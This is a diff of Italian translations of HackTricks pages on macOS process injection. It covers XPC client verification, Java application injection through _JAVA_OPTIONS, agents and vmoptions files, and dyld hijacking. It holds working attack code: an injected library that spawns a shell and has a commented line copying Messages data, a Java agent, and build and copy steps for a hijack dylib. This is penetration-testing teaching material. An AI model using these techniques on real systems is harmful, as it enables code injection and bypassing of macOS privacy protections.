{% content-ref url="macos-pid-reuse.md" %}
|
{% content-ref url="macos-pid-reuse.md" %}
|
||||||
[macos-pid-reuse.md](macos-pid-reuse.md)
|
[macos-pid-reuse.md](macos-pid-reuse.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
Per ulteriori informazioni sull'attacco **`xpc_connection_get_audit_token`**, controlla:
|
Per ulteriori informazioni sull'attacco **`xpc_connection_get_audit_token`** controlla:
|
||||||
|
|
||||||
{% content-ref url="macos-xpc_connection_get_audit_token-attack.md" %}
|
{% content-ref url="macos-xpc_connection_get_audit_token-attack.md" %}
|
||||||
[macos-xpc\_connection\_get\_audit\_token-attack.md](macos-xpc\_connection\_get\_audit\_token-attack.md)
|
[macos-xpc\_connection\_get\_audit\_token-attack.md](macos-xpc\_connection\_get\_audit\_token-attack.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Trustcache - Prevenzione degli attacchi di declassamento
|
### Trustcache - Downgrade Attacks Prevention
|
||||||
|
|
||||||
Trustcache è un metodo difensivo introdotto nelle macchine Apple Silicon che memorizza un database di CDHSAH dei binari Apple in modo che solo i binari non modificati consentiti possano essere eseguiti. Ciò impedisce l'esecuzione di versioni di declassamento.
|
Trustcache è un metodo difensivo introdotto nelle macchine Apple Silicon che memorizza un database di CDHSAH dei binari Apple in modo che solo i binari non modificati autorizzati possano essere eseguiti. Questo previene l'esecuzione di versioni downgrade.
|
||||||
|
|
||||||
### Esempi di codice
|
### Code Examples
|
||||||
|
|
||||||
Il server implementerà questa **verifica** in una funzione chiamata **`shouldAcceptNewConnection`**.
|
Il server implementerà questa **verifica** in una funzione chiamata **`shouldAcceptNewConnection`**.
|
||||||
|
|
||||||
|
@ -65,9 +66,9 @@ return YES;
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
L'oggetto NSXPCConnection ha una proprietà **privata** chiamata **`auditToken`** (quella che dovrebbe essere utilizzata ma potrebbe cambiare) e una proprietà **pubblica** chiamata **`processIdentifier`** (quella che non dovrebbe essere utilizzata).
|
L'oggetto NSXPCConnection ha una proprietà **privata** **`auditToken`** (quella che dovrebbe essere utilizzata ma potrebbe cambiare) e una proprietà **pubblica** **`processIdentifier`** (quella che non dovrebbe essere utilizzata).
|
||||||
|
|
||||||
Il processo di connessione potrebbe essere verificato con qualcosa del genere:
|
Il processo di connessione potrebbe essere verificato con qualcosa come:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
|
@ -89,7 +90,9 @@ SecCodeCheckValidity(code, kSecCSDefaultFlags, requirementRef);
|
||||||
SecTaskRef taskRef = SecTaskCreateWithAuditToken(NULL, ((ExtendedNSXPCConnection*)newConnection).auditToken);
|
SecTaskRef taskRef = SecTaskCreateWithAuditToken(NULL, ((ExtendedNSXPCConnection*)newConnection).auditToken);
|
||||||
SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString))
|
SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString))
|
||||||
```
|
```
|
||||||
Se uno sviluppatore non vuole controllare la versione del client, potrebbe almeno verificare che il client non sia vulnerabile all'iniezione di processo:
|
{% endcode %}
|
||||||
|
|
||||||
|
Se un sviluppatore non vuole controllare la versione del client, potrebbe verificare che il client non sia vulnerabile all'iniezione di processi almeno:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
|
@ -108,16 +111,17 @@ return Yes; // Accept connection
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica il hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica il hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,22 +1,23 @@
|
||||||
# Iniezione di Applicazioni Java su macOS
|
# macOS Java Applications Injection
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## Enumerazione
|
## Enumerazione
|
||||||
|
|
||||||
Trova le applicazioni Java installate nel tuo sistema. È stato notato che le app Java nel file **Info.plist** conterranno alcuni parametri Java che contengono la stringa **`java.`**, quindi puoi cercare questo:
|
Trova le applicazioni Java installate nel tuo sistema. È stato notato che le app Java nel **Info.plist** conterranno alcuni parametri java che contengono la stringa **`java.`**, quindi puoi cercare quello:
|
||||||
```bash
|
```bash
|
||||||
# Search only in /Applications folder
|
# Search only in /Applications folder
|
||||||
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
|
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
|
||||||
|
@ -26,13 +27,13 @@ sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
|
||||||
```
|
```
|
||||||
## \_JAVA\_OPTIONS
|
## \_JAVA\_OPTIONS
|
||||||
|
|
||||||
La variabile di ambiente **`_JAVA_OPTIONS`** può essere utilizzata per iniettare parametri java arbitrari nell'esecuzione di un'applicazione compilata in java:
|
La variabile di ambiente **`_JAVA_OPTIONS`** può essere utilizzata per iniettare parametri java arbitrari nell'esecuzione di un'app compilata in java:
|
||||||
```bash
|
```bash
|
||||||
# Write your payload in a script called /tmp/payload.sh
|
# Write your payload in a script called /tmp/payload.sh
|
||||||
export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
|
export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
|
||||||
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||||||
```
|
```
|
||||||
Per eseguirlo come un nuovo processo e non come un figlio del terminale corrente, puoi utilizzare:
|
Per eseguirlo come un nuovo processo e non come un figlio del terminale corrente, puoi usare:
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
// clang -fobjc-arc -framework Foundation invoker.m -o invoker
|
// clang -fobjc-arc -framework Foundation invoker.m -o invoker
|
||||||
|
@ -85,7 +86,7 @@ NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Tuttavia, ciò provocherà un errore nell'applicazione eseguita. Un modo più stealth è creare un agente Java e utilizzare:
|
Tuttavia, ciò genererà un errore nell'app eseguita, un modo più furtivo è creare un agente java e utilizzare:
|
||||||
```bash
|
```bash
|
||||||
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
|
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
|
||||||
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||||||
|
@ -95,12 +96,12 @@ export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
|
||||||
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
|
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
|
||||||
```
|
```
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Creare l'agente con una **versione Java diversa** da quella dell'applicazione può causare il blocco dell'esecuzione sia dell'agente che dell'applicazione.
|
Creare l'agente con una **versione Java diversa** dall'applicazione può causare il crash dell'esecuzione sia dell'agente che dell'applicazione
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Dove l'agente può essere:
|
Dove l'agente può essere:
|
||||||
|
|
||||||
{% code title="Agente.java" %}
|
{% code title="Agent.java" %}
|
||||||
```java
|
```java
|
||||||
import java.io.*;
|
import java.io.*;
|
||||||
import java.lang.instrument.*;
|
import java.lang.instrument.*;
|
||||||
|
@ -131,7 +132,7 @@ Agent-Class: Agent
|
||||||
Can-Redefine-Classes: true
|
Can-Redefine-Classes: true
|
||||||
Can-Retransform-Classes: true
|
Can-Retransform-Classes: true
|
||||||
```
|
```
|
||||||
E quindi esporta la variabile di ambiente e avvia l'applicazione Java come segue:
|
E poi esporta la variabile env ed esegui l'applicazione java come:
|
||||||
```bash
|
```bash
|
||||||
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
|
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
|
||||||
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||||||
|
@ -140,14 +141,14 @@ export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
|
||||||
|
|
||||||
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
|
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
|
||||||
```
|
```
|
||||||
## File vmoptions
|
## vmoptions file
|
||||||
|
|
||||||
Questo file supporta la specifica dei **parametri Java** quando Java viene eseguito. Puoi utilizzare alcuni dei trucchi precedenti per modificare i parametri Java e **far eseguire al processo comandi arbitrari**.\
|
Questo file supporta la specifica dei **parametri Java** quando Java viene eseguito. Potresti usare alcuni dei trucchi precedenti per cambiare i parametri java e **far eseguire al processo comandi arbitrari**.\
|
||||||
Inoltre, questo file può anche **includere altri file** con la directory `include`, quindi è possibile modificare anche un file incluso.
|
Inoltre, questo file può anche **includere altri** con la directory `include`, quindi potresti anche cambiare un file incluso.
|
||||||
|
|
||||||
Ancora di più, alcune applicazioni Java caricheranno **più di un file `vmoptions`**.
|
Ancora di più, alcune app Java **caricheranno più di un file `vmoptions`**.
|
||||||
|
|
||||||
Alcune applicazioni come Android Studio indicano nel loro **output dove cercano** questi file, ad esempio:
|
Alcune applicazioni come Android Studio indicano nel loro **output dove stanno cercando** questi file, come:
|
||||||
```bash
|
```bash
|
||||||
/Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions
|
/Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions
|
||||||
|
|
||||||
|
@ -158,7 +159,7 @@ Alcune applicazioni come Android Studio indicano nel loro **output dove cercano*
|
||||||
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
||||||
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
||||||
```
|
```
|
||||||
Se non lo fanno, puoi facilmente verificarlo con:
|
Se non lo fanno, puoi facilmente controllarlo con:
|
||||||
```bash
|
```bash
|
||||||
# Monitor
|
# Monitor
|
||||||
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
|
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
|
||||||
|
@ -166,18 +167,4 @@ sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
|
||||||
# Launch the Java app
|
# Launch the Java app
|
||||||
/Applications/Android\ Studio.app/Contents/MacOS/studio
|
/Applications/Android\ Studio.app/Contents/MacOS/studio
|
||||||
```
|
```
|
||||||
È interessante notare che in questo esempio Android Studio sta cercando di caricare il file **`/Applications/Android Studio.app.vmoptions`**, un luogo in cui ogni utente del gruppo **`admin` ha accesso in scrittura**.
|
Nota quanto sia interessante che Android Studio in questo esempio stia cercando di caricare il file **`/Applications/Android Studio.app.vmoptions`**, un luogo in cui qualsiasi utente del **`admin` group ha accesso in scrittura.**
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
|
||||||
|
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
|
@ -1,20 +1,21 @@
|
||||||
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
|
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## Esempio di base di DYLD\_INSERT\_LIBRARIES
|
## DYLD\_INSERT\_LIBRARIES Esempio base
|
||||||
|
|
||||||
**Libreria da iniettare** per eseguire una shell:
|
**Libreria da iniettare** per eseguire una shell:
|
||||||
```c
|
```c
|
||||||
|
@ -34,7 +35,7 @@ execv("/bin/bash", 0);
|
||||||
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
|
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Binario da attaccare:
|
Binary da attaccare:
|
||||||
```c
|
```c
|
||||||
// gcc hello.c -o hello
|
// gcc hello.c -o hello
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -51,7 +52,7 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
||||||
```
|
```
|
||||||
## Esempio di Dyld Hijacking
|
## Esempio di Dyld Hijacking
|
||||||
|
|
||||||
Il binario vulnerabile preso di mira è `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
|
Il binario vulnerabile mirato è `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="entitlements" %}
|
{% tab title="entitlements" %}
|
||||||
|
@ -91,12 +92,12 @@ compatibility version 1.0.0
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
Con le informazioni precedenti sappiamo che **non sta verificando la firma delle librerie caricate** e sta cercando di caricare una libreria da:
|
Con le informazioni precedenti sappiamo che **non controlla la firma delle librerie caricate** e **sta cercando di caricare una libreria da**:
|
||||||
|
|
||||||
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
|
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
|
||||||
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
|
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
|
||||||
|
|
||||||
Tuttavia, il primo non esiste:
|
Tuttavia, la prima non esiste:
|
||||||
```bash
|
```bash
|
||||||
pwd
|
pwd
|
||||||
/Applications/VulnDyld.app
|
/Applications/VulnDyld.app
|
||||||
|
@ -104,7 +105,7 @@ pwd
|
||||||
find ./ -name lib.dylib
|
find ./ -name lib.dylib
|
||||||
./Contents/Resources/lib2/lib.dylib
|
./Contents/Resources/lib2/lib.dylib
|
||||||
```
|
```
|
||||||
Quindi, è possibile dirottarlo! Crea una libreria che **esegue del codice arbitrario ed esporta le stesse funzionalità** della libreria legittima reimportandola. E ricorda di compilarla con le versioni previste:
|
Quindi, è possibile hijackarlo! Crea una libreria che **esegue del codice arbitrario ed esporta le stesse funzionalità** della libreria legittima riesportandola. E ricorda di compilarla con le versioni attese:
|
||||||
|
|
||||||
{% code title="lib.m" %}
|
{% code title="lib.m" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
|
@ -124,7 +125,9 @@ Compilalo:
|
||||||
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
|
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
|
||||||
# Note the versions and the reexport
|
# Note the versions and the reexport
|
||||||
```
|
```
|
||||||
Il percorso di reexport creato nella libreria è relativo al loader, cambiamolo con un percorso assoluto per la libreria da esportare:
|
{% endcode %}
|
||||||
|
|
||||||
|
Il percorso di riesportazione creato nella libreria è relativo al caricatore, cambiamo in un percorso assoluto alla libreria da esportare:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -145,7 +148,7 @@ name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Con
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
Infine, copialo nella **posizione di dirottamento**:
|
Infine, copialo nella **posizione hijacked**:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -153,7 +156,7 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
E **esegui** il binario e controlla se la **libreria è stata caricata**:
|
E **eseguire** il binario e controllare che la **libreria sia stata caricata**:
|
||||||
|
|
||||||
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
||||||
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
|
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
|
||||||
|
@ -161,25 +164,26 @@ E **esegui** il binario e controlla se la **libreria è stata caricata**:
|
||||||
</code></pre>
|
</code></pre>
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Un bel resoconto su come sfruttare questa vulnerabilità per abusare dei permessi della telecamera di Telegram può essere trovato su [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
|
Una bella descrizione su come abusare di questa vulnerabilità per sfruttare i permessi della fotocamera di telegram può essere trovata in [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Su scala maggiore
|
## Maggiore Scala
|
||||||
|
|
||||||
Se hai intenzione di provare ad iniettare librerie in binari inaspettati, puoi controllare i messaggi degli eventi per scoprire quando la libreria viene caricata all'interno di un processo (in questo caso rimuovi il printf e l'esecuzione di `/bin/bash`).
|
Se stai pianificando di provare a iniettare librerie in binari inaspettati, potresti controllare i messaggi di evento per scoprire quando la libreria viene caricata all'interno di un processo (in questo caso rimuovi il printf e l'esecuzione di `/bin/bash`).
|
||||||
```bash
|
```bash
|
||||||
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
|
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
